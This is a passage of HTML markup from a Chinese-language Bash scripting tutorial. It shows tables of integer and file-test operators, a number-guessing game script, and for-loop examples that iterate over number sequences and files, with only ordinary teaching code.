 &lt;td style="text-align: center"&gt;大于（Greater Than）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$score&amp;quot; -gt 60 ]&lt;/code&gt; → 分数超过 60&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -lt INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;小于（Less Than）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$age&amp;quot; -lt 18 ]&lt;/code&gt; → 年龄小于 18&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -ge INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;大于等于（Greater or Equal）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$count&amp;quot; -ge 10 ]&lt;/code&gt; → 计数达到或超过 10&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -le INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;小于等于（Less or Equal）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$time&amp;quot; -le 30 ]&lt;/code&gt; → 时间小于等于 30 秒&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="文件测试"&gt;&lt;strong&gt;文件测试&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;操作符&lt;/th&gt;
 &lt;th style="text-align: center"&gt;描述&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-d FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且是目录&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -d &amp;quot;/tmp&amp;quot; ]&lt;/code&gt; → 检查 &lt;code&gt;/tmp&lt;/code&gt; 是否是目录&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-e FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -e &amp;quot;log.txt&amp;quot; ]&lt;/code&gt; → 检查 &lt;code&gt;log.txt&lt;/code&gt; 是否存在&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-r FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且有读权限&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -r &amp;quot;config.cfg&amp;quot; ]&lt;/code&gt; → 检查配置文件是否可读&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-s FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且非空&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -s &amp;quot;data.csv&amp;quot; ]&lt;/code&gt; → 检查数据文件是否有内容&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-w FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且有写权限&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -w &amp;quot;output.log&amp;quot; ]&lt;/code&gt; → 检查日志文件是否可写&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-x FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且有执行权限&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -x &amp;quot;install.sh&amp;quot; ]&lt;/code&gt; → 检查安装脚本是否有执行权限&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;新建一个文件**&lt;code&gt;number_game.sh&lt;/code&gt;**&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成随机数，用户猜测数字比大小&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成1-100的随机数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;100&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;attempts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;max_attempts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;欢迎来到猜数字游戏！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;我已生成一个1到100之间的整数，你有&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_attempts&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;次机会猜中它。&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$attempts&lt;/span&gt; -lt &lt;span class="nv"&gt;$max_attempts&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;((&lt;/span&gt;attempts++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;remaining&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_attempts &lt;span class="o"&gt;-&lt;/span&gt; attempts &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;第&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;attempts&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;次猜测（剩余&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;remaining&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;次）：&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; guess
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查输入是否为空或非数字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$guess&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误：输入不能为空！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;attempts--&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; ! &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$guess&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^&lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;+$ &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误：请输入数字！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;attempts--&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 比较数字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$guess&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -eq &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;恭喜！你在第&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;attempts&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;次猜中了正确答案：&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$guess&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -lt &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;提示：你猜的数字太小了！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;提示：你猜的数字太大了！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;很遗憾，你已经用完所有次数。正确答案是：&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;。&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516135653801" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516135653801.png"&gt;&lt;/p&gt;
&lt;h2 id="循环"&gt;循环
&lt;/h2&gt;&lt;h3 id="1"&gt;&lt;strong&gt;1. &lt;code&gt;for&lt;/code&gt; 循环&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="基本语法"&gt;&lt;strong&gt;基本语法&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; 变量 in 列表&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;循环体
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="应用场景"&gt;&lt;strong&gt;应用场景&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;遍历已知序列&lt;/strong&gt;（数字、文件、字符串等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行固定次数的重复操作&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="示例-1遍历数字序列"&gt;&lt;strong&gt;示例 1：遍历数字序列&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;终端输入&lt;code&gt;cat &amp;gt; for1.sh&lt;/code&gt;，复制粘贴如下内容，回车后按&lt;code&gt;ctrl D&lt;/code&gt;结束输入。就能不用打开vim直接输入脚本了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 遍历 1-5 并打印平方数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; i in &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt; 5&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; 的平方是 &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;i*i&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用序列生成器 {起..止..步长}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; i in &lt;span class="o"&gt;{&lt;/span&gt;1..5&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;数字: &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 指定步长（仅 Bash 4+ 支持）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; i in &lt;span class="o"&gt;{&lt;/span&gt;0..10..2&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;偶数: &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="输出示例"&gt;&lt;strong&gt;输出示例&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250516140637023" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516140637023.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-2遍历文件"&gt;&lt;strong&gt;示例 2：遍历文件&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 遍历当前目录所有 .txt 文件并输出文件名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; file in *.txt&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;find_&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 遍历带空格的文件名（需设置 IFS）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 将字段分隔符设为换行符&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; file in &lt;span class="k"&gt;$(&lt;/span&gt;find . -name &lt;span class="s2"&gt;&amp;#34;*.log&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;处理文件: &lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516140921420" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516140921420.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-3遍历数组"&gt;&lt;strong&gt;示例 3：遍历数组&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
